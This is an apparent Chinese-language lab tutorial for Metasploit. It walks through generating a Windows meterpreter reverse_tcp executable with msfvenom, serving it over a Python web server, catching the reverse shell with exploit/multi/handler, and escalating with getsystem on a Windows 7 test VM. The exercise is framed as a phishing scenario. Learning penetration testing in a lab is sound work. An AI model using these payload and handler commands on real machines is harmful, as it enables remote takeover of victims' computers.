前言
Metasploit Framework 是一個功能強大的資安工具組,
它將許多工具以Module的方式整合在一起,
而不用到到處去找、去下載不同的工具來做滲透測試。
正式開始學習之前先來淺嘗一下 Metasploit Framework 的強大之處。
練習情境為受害者收到釣魚信去下載惡意檔案並執行,
導致受害者的電腦(Windows 7)受到控制。
練習
開始之前,先準備一台 Windows 7(ip為10.5.0.5) 為受害VM,Ubuntu(版本為 20.04.4, ip為10.5.0.7) 安裝 Metasploit Framework。
1.安裝 Metasploit Framework
依 How to Install Metasploit Framework on Ubuntu 20.04 說明來安裝。
1 | sudo apt update |
初始DB 及 設定 Web Service 的帳號及密碼 完成後,
執行 db_status
檢查 DB 是否有正常連線到 postgresql ([*] Connected to msf. Connection type: postgresql.)。
沒問題則執行 exit
離開 msfconsole
- 註: 如果沒有設定 DB ,可以執行
sudo msfdb init
來設定 DB - 註: 如果要重新設定 DB ,可以執行
sudo msfdb reinit
來重設 DB - 註: 如果 postgresql 沒有啟動(postgresql selected, no connection),可以執行
1
2
3
4
5exit
sudo service postgresql start
sudo msfconsole
db_status
2.建立 reverse_tcp 遠端控制執行檔
執行 msfvenom
來產生遠端控制執行檔,預設為 x86
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.5.0.7 -f exe -o ~/test.exe |
當使用者執行 test.exe
就會與 LHOST 建立連線
3.建立 http 網站來讓 Windows 7(ip為10.5.0.5) 下載
1 | python3 -m http.server 8000 |
4.Windows 7(ip為10.5.0.5) 下載 test.exe
Windows 7(ip為10.5.0.5) 開啟 IE 下載 test.exe
5.開啟 msfconsole 並設定 LHOST 及 RHOST
1 | msfconsole |
全域設定 LHOST 為 Ubuntu(ip為10.5.0.7),RHOST 為 Windows 7(ip為10.5.0.5),
所以使用各項 Module 時,預設會使用此設定
6.使用 exploit/multi/handler 模組來監聽
1 | use exploit/multi/handler |
7.payload 使用 windows/meterpreter/reverse_tcp
1 | set payload windows/meterpreter/reverse_tcp |
8.查看設定值是否完整
1 | show options |
在 payload 設定值中 Required 為 true 的參數都已有設定值
9.啟動監聽,並執行 test.exe
1 | exploit |
並到 Windows 7 中執行 test.exe
這時,受害者電腦已與我們的Ubuntu 建立連線,
同時會進到了 meterpreter
10.執行 getsystem
來提升權限為 local administrator or SYSTEM
1 | getsystem |
11.執行 ?
來查看在 meterpreter 可以執行那些指令
1 | ? |
12.執行 ps
來顯示 Windows 7 中執行的 Processes
1 | ps |
參考資料
How to Install Metasploit Framework on Ubuntu 20.04
windows/meterpreter/reverse_tcp
Meterpreter getsystem